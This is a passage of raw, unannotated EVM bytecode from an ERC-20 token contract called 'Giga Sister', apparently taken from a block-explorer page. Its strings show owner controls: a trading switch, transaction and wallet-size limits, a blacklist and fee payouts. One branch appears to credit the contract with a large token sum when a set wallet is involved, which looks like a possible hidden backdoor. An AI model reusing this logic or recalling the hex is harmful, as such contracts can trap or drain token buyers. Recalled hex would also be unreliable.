ffffffffffffffffff161480156119ee5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119fd576005546007819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa85750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ab7576006546007819055505b5b611ac484848484611daf565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b32573d6000803e3d6000fd5b5050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6e57611b6d612d93565b5b604051908082528060200260200182016040528015611b9c5781602001602082028036833780820191505090505b5090503081600081518110611bb457611bb3612dc2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7f9190612e06565b81600181518110611c9357611c92612dc2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfa30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108e565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d5e959493929190612f2c565b600060405180830381600087803b158015611d7857600080fd5b505af1158015611d8c573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b80611dbd57611dbc611ddc565b5b611dc8848484611dfb565b80611dd657611dd5611f9d565b5b50505050565b60006007540315611df95760075460088190555060006007819055505b565b600080611e0783611fa8565b9150915082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e569190612731565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ee49190612ccd565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f318186611fcb565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f8e9190612399565b60405180910390a35050505050565b600854600781905550565b600080600080611fba85600754612111565b915091508181935093505050915091565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561203b575060011515600d60149054906101000a900460ff161515145b156120b6576009600a61204e91906126a4565b620f424061205c91906126ef565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120aa9190612ccd565b9250508190555061210d565b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121059190612ccd565b925050819055505b5050565b60008060006064848661212491906126ef565b61212e9190612fb5565b90506000818661213e9190612731565b905080829350935050509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561218957808201518184015260208101905061216e565b60008484015250505050565b6000601f19601f8301169050919050565b60006121b18261214f565b6121bb818561215a565b93506121cb81856020860161216b565b6121d481612195565b840191505092915050565b600060208201905081810360008301526121f981846121a6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061223182612206565b9050919050565b61224181612226565b811461224c57600080fd5b50565b60008135905061225e81612238565b92915050565b6000819050919050565b61227781612264565b811461228257600080fd5b50565b6000813590506122948161226e565b92915050565b600080604083850312156122b1576122b0612201565b5b60006122bf8582860161224f565b92505060206122d085828601612285565b9150509250929050565b60008115159050919050565b6122ef816122da565b82525050565b600060208201905061230a60008301846122e6565b92915050565b6000819050919050565b600061233561233061232b84612206565b612310565b612206565b9050919050565b60006123478261231a565b9050919050565b60006123598261233c565b9050919050565b6123698161234e565b82525050565b60006020820190506123846000830184612360565b92915050565b61239381612264565b82525050565b60006020820190506123ae600083018461238a565b92915050565b6000806000606084860312156123cd576123cc612201565b5b60006123db8682870161224f565b93505060206123ec8682870161224f565b92505060406123fd86828701612285565b9150509250925092565b600060ff82169050919050565b61241d81612407565b82525050565b60006020820190506124386000830184612414565b92915050565b61244781612226565b82525050565b6000602082019050612462600083018461243e565b92915050565b6000806040838503121561247f5761247e612201565b5b600061248d85828601612285565b925050602061249e85828601612285565b9150509250929050565b6000602082840312156124be576124bd612201565b5b60006124cc8482850161224f565b91505092915050565b6000602082840312156124eb576124ea612201565b5b60006124f984828501612285565b91505092915050565b6000806040838503121561251957612518612201565b5b60006125278582860161224f565b92505060206125388582860161224f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125c8578086048111156125a4576125a3612542565b5b60018516156125b35780820291505b80810290506125c185612571565b9450612588565b94509492505050565b6000826125e1576001905061269d565b816125ef576000905061269d565b8160018114612605576002811461260f5761263e565b600191505061269d565b60ff84111561262157612620612542565b5b8360020a91508482111561263857612637612542565b5b5061269d565b5060208310610133831016604e8410600b84101617156126735782820a90508381111561266e5761266d612542565b5b61269d565b612680848484600161257e565b9250905081840481111561269757612696612542565b5b81810290505b9392505050565b60006126af82612264565b91506126ba83612407565b92506126e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125d1565b905092915050565b60006126fa82612264565b915061270583612264565b925082820261271381612264565b9150828204841483151761272a57612729612542565b5b5092915050565b600061273c82612264565b915061274783612264565b925082820390508181111561275f5761275e612542565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061279b60208361215a565b91506127a682612765565b602082019050919050565b600060208201905081810360008301526127ca8161278e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061282d60268361215a565b9150612838826127d1565b604082019050919050565b6000602082019050818103600083015261285c81612820565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128bf60248361215a565b91506128ca82612863565b604082019050919050565b600060208201905081810360008301526128ee816128b2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061295160228361215a565b915061295c826128f5565b604082019050919050565b6000602082019050818103600083015261298081612944565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129e360258361215a565b91506129ee82612987565b604082019050919050565b60006020820190508181036000830152612a12816129d6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7560238361215a565b9150612a8082612a19565b604082019050919050565b60006020820190508181036000830152612aa481612a68565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612b0760298361215a565b9150612b1282612aab565b604082019050919050565b60006020820190508181036000830152612b3681612afa565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612b99603f8361215a565b9150612ba482612b3d565b604082019050919050565b60006020820190508181036000830152612bc881612b8c565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612c05601c8361215a565b9150612c1082612bcf565b602082019050919050565b60006020820190508181036000830152612c3481612bf8565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612c9760238361215a565b9150612ca282612c3b565b604082019050919050565b60006020820190508181036000830152612cc681612c8a565b9050919050565b6000612cd882612264565b9150612ce383612264565b9250828201905080821115612cfb57612cfa612542565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612d5d60238361215a565b9150612d6882612d01565b604082019050919050565b60006020820190508181036000830152612d8c81612d50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612e0081612238565b92915050565b600060208284031215612e1c57612e1b612201565b5b6000612e2a84828501612df1565b91505092915050565b6000819050919050565b6000612e58612e53612e4e84612e33565b612310565b612264565b9050919050565b612e6881612e3d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ea381612226565b82525050565b6000612eb58383612e9a565b60208301905092915050565b6000602082019050919050565b6000612ed982612e6e565b612ee38185612e79565b9350612eee83612e8a565b8060005b83811015612f1f578151612f068882612ea9565b9750612f1183612ec1565b925050600181019050612ef2565b5085935050505092915050565b600060a082019050612f41600083018861238a565b612f4e6020830187612e5f565b8181036040830152612f608186612ece565b9050612f6f606083018561243e565b612f7c608083018461238a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612fc082612264565b9150612fcb83612264565b925082612fdb57612fda612f86565b5b82820490509291505056fea264697066735822122086b6fcf68240767b011c4c897b7e3c4ab0b589f87cdc13e146c7a08c25a781be64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063a553906c1161006f578063a553906c14610457578063a9059cbb14610480578063bfd79284146104bd578063c3c8cd80146104fa578063dd62ed3e14610511578063f2fde38b1461054e57610156565b8063715018a61461036b5780637d1db4a5146103825780638da5cb5b146103ad5780638f9a55c0146103d857806395d89b411461040357806398a5c3151461042e57610156565b8063313ce56711610108578063313ce5671461028157806341c2bd55146102ac57806349bd5a5e146102c357806352f7c988146102ee5780636fc3eaec1461031757806370a082311461032e57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632fd689e31461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610577565b60405161017d91906121df565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a8919061229a565b6105b4565b6040516101ba91906122f5565b60405180910390f35b3480156101cf57600080fd5b506101d86105d2565b6040516101e5919061236f565b60405180910390f35b3480156101fa57600080fd5b506102036105f8565b6040516102109190612399565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b91906123b4565b61061b565b60405161024d91906122f5565b60405180910390f35b34801561026257600080fd5b5061026b6106d3565b6040516102789190612399565b60405180910390f35b34801561028d57600080fd5b506102966106d9565b6040516102a39190612423565b60405180910390f35b3480156102b857600080fd5b506102c16106e2565b005b3480156102cf57600080fd5b506102d861078d565b6040516102e5919061244d565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612468565b6107b3565b005b34801561032357600080fd5b5061032c61085c565b005b34801561033a57600080fd5b50610355600480360381019061035091906124a8565b61092d565b6040516103629190612399565b60405180910390f35b34801561037757600080fd5b50610380610976565b005b34801561038e57600080fd5b50610397610ac9565b6040516103a49190612399565b60405180910390f35b3480156103b957600080fd5b506103c2610acf565b6040516103cf919061244d565b60405180910390f35b3480156103e457600080fd5b506103ed610af8565b6040516103fa9190612399565b60405180910390f35b34801561040f57600080fd5b50610418610afe565b60405161042591906121df565b60405180910390f35b34801561043a57600080fd5b50610455600480360381019061045091906124d5565b610b3b565b005b34801561046357600080fd5b5061047e600480360381019061047991906124a8565b610bdc565b005b34801561048c57600080fd5b506104a760048036038101906104a2919061229a565b610d27565b6040516104b491906122f5565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df91906124a8565b610d45565b6040516104f191906122f5565b60405180910390f35b34801561050657600080fd5b5061050f610d65565b005b34801561051d57600080fd5b5061053860048036038101906105339190612502565b610e3e565b6040516105459190612399565b60405180910390f35b34801561055a57600080fd5b50610575600480360381019061057091906124a8565b610ec5565b005b60606040518060400160405280600b81526020017f4769676120536973746572000000000000000000000000000000000000000000815250905090565b60006105c86105c1611086565b848461108e565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009600a61060891906126a4565b620f424061061691906126ef565b905090565b6000610628848484611257565b6106c884610634611086565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067e611086565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106c39190612731565b61108e565b600190509392505050565b60105481565b60006009905090565b6106ea611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610779576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610770906127b1565b60405180910390fd5b600019600f81905550600019600e81905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107bb611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610841906127b1565b60405180910390fd5b81600581905550806006819055505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089d611086565b73ffffffffffffffffffffffffffffffffffffffff1614806109135750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fb611086565b73ffffffffffffffffffffffffffffffffffffffff16145b61091c57600080fd5b600047905061092a81611aca565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61097e611086565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a02906127b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600a81526020017f4749474153495354455200000000000000000000000000000000000000000000815250905090565b610b43611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc9906127b1565b60405180910390fd5b8060108190555050565b610be4611086565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906127b1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600d60146101000a81548160ff02191690831515021790555050565b6000610d3b610d34611086565b8484611257565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da6611086565b73ffffffffffffffffffffffffffffffffffffffff161480610e1c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e04611086565b73ffffffffffffffffffffffffffffffffffffffff16145b610e2557600080fd5b6000610e303061092d565b9050610e3b81611b36565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ecd611086565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f51906127b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc090612843565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f4906128d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390612967565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124a9190612399565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd906129f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90612a8b565b60405180910390fd5b60008111611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f90612b1d565b60405180910390fd5b611380610acf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113ee57506113be610acf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117db57600d60149054906101000a900460ff1661147d5761140f610acf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612baf565b60405180910390fd5b5b600e548111156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990612c1b565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115665750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612cad565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461165257600f54816116078461092d565b6116119190612ccd565b10611651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164890612d73565b60405180910390fd5b5b600061165d3061092d565b905060006010548210159050600e54821061167857600e5491505b8080156116925750600d60159054906101000a900460ff16155b80156116ec5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117045750600d60169054906101000a900460ff165b801561175a5750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117b05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117d8576117be82611b36565b600047905060008111156117d6576117d547611aca565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118825750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119355750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156119435760009050611ab8565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119ee5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119fd576005546007819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa85750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ab7576006546007819055505b5b611ac484848484611daf565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b32573d6000803e3d6000fd5b5050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6e57611b6d612d93565b5b604051908082528060200260200182016040528015611b9c5781602001602082028036833780820191505090505b5090503081600081518110611bb457611bb3612dc2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7f9190612e06565b81600181518110611c9357611c92612dc2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611cfa30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108e565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d5e959493929190612f2c565b600060405180830381600087803b158015611d7857600080fd5b505af1158015611d8c573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b80611dbd57611dbc611ddc565b5b611dc8848484611dfb565b80611dd657611dd5611f9d565b5b50505050565b60006007540315611df95760075460088190555060006007819055505b565b600080611e0783611fa8565b9150915082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e569190612731565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ee49190612ccd565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f318186611fcb565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f8e9190612399565b60405180910390a35050505050565b600854600781905550565b600080600080611fba85600754612111565b915091508181935093505050915091565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561203b575060011515600d60149054906101000a900460ff161515145b156120b6576009600a61204e91906126a4565b620f424061205c91906126ef565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120aa9190612ccd565b9250508190555061210d565b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121059190612ccd565b925050819055505b5050565b60008060006064848661212491906126ef565b61212e9190612fb5565b90506000818661213e9190612731565b905080829350935050509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561218957808201518184015260208101905061216e565b60008484015250505050565b6000601f19601f8301169050919050565b60006121b18261214f565b6121bb818561215a565b93506121cb81856020860161216b565b6121d481612195565b840191505092915050565b600060208201905081810360008301526121f981846121a6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061223182612206565b9050919050565b61224181612226565b811461224c57600080fd5b50565b60008135905061225e81612238565b92915050565b6000819050919050565b61227781612264565b811461228257600080fd5b50565b6000813590506122948161226e565b92915050565b600080604083850312156122b1576122b0612201565b5b60006122bf8582860161224f565b92505060206122d085828601612285565b9150509250929050565b60008115159050919050565b6122ef816122da565b82525050565b600060208201905061230a60008301846122e6565b92915050565b6000819050919050565b600061233561233061232b84612206565b612310565b612206565b9050919050565b60006123478261231a565b9050919050565b60006123598261233c565b9050919050565b6123698161234e565b82525050565b60006020820190506123846000830184612360565b92915050565b61239381612264565b82525050565b60006020820190506123ae600083018461238a565b92915050565b6000806000606084860312156123cd576123cc612201565b5b60006123db8682870161224f565b93505060206123ec8682870161224f565b92505060406123fd86828701612285565b9150509250925092565b600060ff82169050919050565b61241d81612407565b82525050565b60006020820190506124386000830184612414565b92915050565b61244781612226565b82525050565b6000602082019050612462600083018461243e565b92915050565b6000806040838503121561247f5761247e612201565b5b600061248d85828601612285565b925050602061249e85828601612285565b9150509250929050565b6000602082840312156124be576124bd612201565b5b60006124cc8482850161224f565b91505092915050565b6000602082840312156124eb576124ea612201565b5b60006124f984828501612285565b91505092915050565b6000806040838503121561251957612518612201565b5b60006125278582860161224f565b92505060206125388582860161224f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125c8578086048111156125a4576125a3612542565b5b60018516156125b35780820291505b80810290506125c185612571565b9450612588565b94509492505050565b6000826125e1576001905061269d565b816125ef576000905061269d565b8160018114612605576002811461260f5761263e565b600191505061269d565b60ff84111561262157612620612542565b5b8360020a91508482111561263857612637612542565b5b5061269d565b5060208310610133831016604e8410600b84101617156126735782820a90508381111561266e5761266d612542565b5b61269d565b612680848484600161257e565b9250905081840481111561269757612696612542565b5b81810290505b9392505050565b60006126af82612264565b91506126ba83612407565b92506126e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125d1565b905092915050565b60006126fa82612264565b915061270583612264565b925082820261271381612264565b9150828204841483151761272a57612729612542565b5b5092915050565b600061273c82612264565b915061274783612264565b925082820390508181111561275f5761275e612542565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061279b60208361215a565b91506127a682612765565b602082019050919050565b600060208201905081810360008301526127ca8161278e565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061282d60268361215a565b9150612838826127d1565b604082019050919050565b6000602082019050818103600083015261285c81612820565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128bf60248361215a565b91506128ca82612863565b604082019050919050565b600060208201905081810360008301526128ee816128b2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061295160228361215a565b915061295c826128f5565b604082019050919050565b6000602082019050818103600083015261298081612944565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129e360258361215a565b91506129ee82612987565b604082019050919050565b60006020820190508181036000830152612a12816129d6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7560238361215a565b9150612a8082612a19565b604082019050919050565b60006020820190508181036000830152612aa481612a68565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f000000000000